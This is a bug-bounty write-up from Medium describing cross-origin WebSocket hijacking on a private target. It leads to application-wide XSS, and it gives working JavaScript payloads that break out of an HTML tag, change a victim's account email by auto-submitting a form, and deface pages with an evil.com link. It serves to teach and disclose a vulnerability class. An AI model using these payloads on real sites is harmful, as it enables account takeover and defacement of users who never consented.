Exploiting WebSocket [Application Wide XSS / CSRF]

Osama Avvan
Feb 17 · 5 min read

Assalam u Alikum, it’s been a while I haven’t contributed to this wonderful community so I am back with a new write up about WebSocket which is fun to exploit. So first of all what is WebSocket?

WebSockets allow the client/server to create a 'full-duplex' (two-way) communication channels, allowing the client and server to truly communicate asynchronously, simply both client/server can send and receive messages.

So unlike some API endpoints where developers strictly check the Origin Header value, but here in WebSocket case they mostly ignore it, which in result allows any arbitrary Origin to make a connection to the WebSocket instance of the Web App.

The format of a WebSocket URL is like this, wss://readact.com, here wss:// is used for a secure SSL connection like https:// some web apps also uses ws:// which is like http://

Now we will look for some places where we can find the WebSocket URL or endpoint. The handiest and easiest way to find WebSocket endpoint is the BurpSuite WebSockets history tab.

BurpSuite > Proxy > WebSockets history

There you will see all the history of WebSockets requests.

The other place where you can look for WebSocket endpoint is the Network tab of your Browser Developer Tool. If WebSocket connection request is sent to the server you will find it there.

Now the Place where there is a 99% chance of finding the WebSocket endpoint if the WebApp is using WebSocket is the JavaScript files or the page source of the WebApp, Search for these keywords in the JavaScript file.

wss://

ws://

websocket

Now after finding the WebSocket endpoint, we have to check if the endpoint is accepting the connection from other Origins. For this simply head to https://www.websocket.org/echo.html and in the Location textbox enter the WebSocket URL/endpoint. Click on the Connect button in the Log box you will get the response, if the connection was successful it will print Connected or if the connection fails it will print DISCONNECTED.

You can also check the connection with BurpSuite. From the Burp Repeater send the Request with your Origin in the Origin Header value. If the server responds with a status code of 101 and your specified Origin is reflected OR if you see an * in the Origin header in the response this means that the connection was successful.

Now let’s take a look at a Real-World Webapp scenario, I was hunting a private program so when I was inspecting the source code of the dashboard page of the domain, I came across this piece of code.

var wsUri = ‘wss://ex.target.com//ex-new/portal/websocket’; 
var ws = new WebSocket(wsUri);

This confirms that the web app was using WebSocket, now I had to confirm that it accepts connections from other domains too. there are many ways to confirm it which I have also mentioned above, for this case, I just open up a new tab and in from the console I executed this code.

var wsUri = ‘wss://ex.target.com//ex-new/portal/websocket’; 
var ws = new WebSocket(wsUri);
ws.onopen = function(e) {
console.log(e);
}

The connection was established and I got the response in the console.

So now I can send data to the server and can also receive data from the server. building a (Two-way Communication).

Now I set up a listener to listen for incoming and outgoing communication from the server. But there wasn’t anything confidential to listen for.

ws.onmessage = function(e) { 
console.log(e.data);
}

So now I tried to send a message to the server and was curious that how the server will handle it on the client-side.

ws.send(“hello you are vulnerable”);

But there was no reflection of the message in the client-side source code. After reading the JS files of the web app, I found a function which was handling the message received from the WebSocket, The data received from the server was being checked in a conditional statement,

ws.onmessage = function(e) {
if (e.data.indexOf(“||”) > 0) {
var messs = e.data.split(“||”);
let alertId = messs[0];
var type = messs[1];
let alertDom = messagee(alertId);
}
}

So the data returned by the server must have || in between. and if the condition fulfilled then the data was rendered in the HTML of the page inside a tag.

So to confirm that the data is placed inside the tag I sent a message to the server from my connected instance of WebSocket.

ws.onopen = function(e)
{
ws.send("hello||you are vulnerable");
};

and it worked :)

Now to perform an XSS I just had to break out of the <a> tag, for this I wrote this code.

<script language=”javascript” type=”text/javascript”>
var wsUri = ‘wss://ex.target.com//ex-new/portal/websocket’;
var ws = new WebSocket(wsUri);
ws.onopen = function(e){
console.log(e);
var a = `”><script>alert(‘XSS’)<\/script>||leetwa`;
ws.send(a);
}
ws.onmessage = function (evt){
var received_msg = evt.data;
console.log(evt.data);
}
ws.onclose = function(a){ console.log(a);}
</script>

There I got XSS on all the pages of the web app which were using WebSockets, similarly, I was able to perform CSRF attacks on all the pages using WebSockets and was able to modify the Content of the pages which were using WebSockets making the XSS, CSRF, Content Injection Application wide.

Performing a malicious request to change victim email.

ws.onopen = function(e){console.log(e);const payload = `(function(){const $ = e => document.querySelector(e);$(“#lastName”).value = “Hacked”;$(“#firstName”).value = “Account”;`$(“#company”).value = “Bad Company”;$(“#jobTitle”).value = “Hacker”;$(“#email”).value = “cyber.spidey@hacked.com”;$(“.btn-primary”).click();`})();`var a = `”><script>${payload}<\/script>||leetwa`ws.send(a);`};

I hosted this code on my webserver and I just had to send it to the victim and there you go, victim email will be changed or the XSS will execute on all of the pages of the web app. or else I could have changed the HTML of all the open pages by this code.

ws.onopen = function(e){console.log(e);const payload = “<center><h1>You have been Hacked</h1><br> <br><h1>Contact here: <a href=’https://evil.com'>Evil.com</a></h1></center>"var a = `”><script>document.querySelector(“body”).innerHTML = “${payload}”<\/script>||leetwa``ws.send(a);};

That’s it Thank you for reading, the bug was accepted as a P1.

Osama Avvan

Written by

Security Researcher, ❤️ To Code. Find me at: https://twitter.com/osamaavvan https://facebook.com/cyber.spidey

More From Medium

Welcome to a place where words matter. On Medium, smart voices and original ideas take center stage - with no ads in sight. Watch
Follow all the topics you care about, and we’ll deliver the best stories for you to your homepage and inbox. Explore
Get unlimited access to the best stories on Medium — and support writers while you’re at it. Just $5/month. Upgrade